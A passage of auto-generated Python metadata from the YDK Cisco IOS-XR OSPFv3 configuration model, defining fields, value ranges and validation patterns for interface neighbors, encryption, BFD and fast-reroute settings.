'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors.Neighbor',
False,
[
_MetaInfoClassMember('neighbor-address', ATTRIBUTE, 'str' , None, None,
[], ['[\\w\\-\\.:,_@#%$\\+=\\|;]+'],
''' IPV6 address
''',
'neighbor_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' OSPFv3 cost for point-to-multipoint
neighbor
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Filter OSPFv3 LSA during synchronization
and flooding for point-to-multipoint
neighbor
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('poll-interval', ATTRIBUTE, 'int' , None, None,
[('0', '65535')], [],
''' OSPFv3 dead-router polling interval (in
seconds)
''',
'poll_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' OSPFv3 priority of non-broadcast neighbor
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('zone', ATTRIBUTE, 'str' , None, None,
[], [],
''' Zone
''',
'zone',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'neighbor',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors',
False,
[
_MetaInfoClassMember('neighbor', REFERENCE_LIST, 'Neighbor' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors.Neighbor',
[], [],
''' IPv6 address
''',
'neighbor',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'neighbors',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Bfd' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Bfd',
False,
[
_MetaInfoClassMember('detection-multiplier', ATTRIBUTE, 'int' , None, None,
[('2', '50')], [],
''' Detect multiplier
''',
'detection_multiplier',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-detect-mode', REFERENCE_ENUM_CLASS, 'Ospfv3BfdEnableModeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3BfdEnableModeEnum',
[], [],
''' Enable or disable BFD fast detection
''',
'fast_detect_mode',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('interval', ATTRIBUTE, 'int' , None, None,
[('3', '30000')], [],
''' Hello interval in milli-seconds
''',
'interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'bfd',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter.All' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter.All',
False,
[
_MetaInfoClassMember('out', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable or disable database-filter
''',
'out',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'all',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter',
False,
[
_MetaInfoClassMember('all', REFERENCE_CLASS, 'All' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter.All',
[], [],
''' All
''',
'all',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'database-filter',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList.In_' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList.In_',
False,
[
_MetaInfoClassMember('prefix-list', ATTRIBUTE, 'str' , None, None,
[], [],
''' Filter prefixes based on an IPv6
prefix-list
''',
'prefix_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'in',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList',
False,
[
_MetaInfoClassMember('in', REFERENCE_CLASS, 'In_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList.In_',
[], [],
''' Filter prefixes installed to RIB
''',
'in_',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'distribute-list',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute',
False,
[
_MetaInfoClassMember('fast-reroute-enable', REFERENCE_ENUM_CLASS, 'Ospfv3FastRerouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastRerouteEnum',
[], [],
''' Enable/Disable Fast-reroute per-link or
per-prefix
''',
'fast_reroute_enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-link', REFERENCE_CLASS, 'PerLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerLink',
[], [],
''' Fast-reroute per-link configuration
''',
'per_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-prefix', REFERENCE_CLASS, 'PerPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute.PerPrefix',
[], [],
''' Fast-reroute per-link configuration
''',
'per_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'fast-reroute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface to configure
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('bfd', REFERENCE_CLASS, 'Bfd' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Bfd',
[], [],
''' Configure BFD parameters
''',
'bfd',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('cost', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interface cost
''',
'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', REFERENCE_CLASS, 'DatabaseFilter' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DatabaseFilter',
[], [],
''' Database filter
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('demand-circuit', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable demand circuit operation
''',
'demand_circuit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distribute-list', REFERENCE_CLASS, 'DistributeList' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.DistributeList',
[], [],
''' Filter prefixes to/from RIB
''',
'distribute_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable OSPFv3 interface
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute', REFERENCE_CLASS, 'FastReroute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.FastReroute',
[], [],
''' Fast-reroute configuration
''',
'fast_reroute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('flood-reduction', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable flood reduction
''',
'flood_reduction',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('instance', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Instance ID
''',
'instance',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ldp-sync', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/Disable MPLS LDP sync
''',
'ldp_sync',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('mtu-ignore', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable ignoring of MTU in DBD
packets
''',
'mtu_ignore',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('neighbors', REFERENCE_CLASS, 'Neighbors' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAreaId.Interfaces.Interface.Neighbors',
[], [],
''' Specify a neighbor router
''',
'neighbors',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('network', REFERENCE_ENUM_CLASS, 'Ospfv3NetworkEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NetworkEnum',
[], [],
''' Specify network type
''',
'network',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('packet-size', ATTRIBUTE, 'int' , None, None,
[('256', '10000')], [],
''' Limit size of OSPFv3 packets
''',
'packet_size',
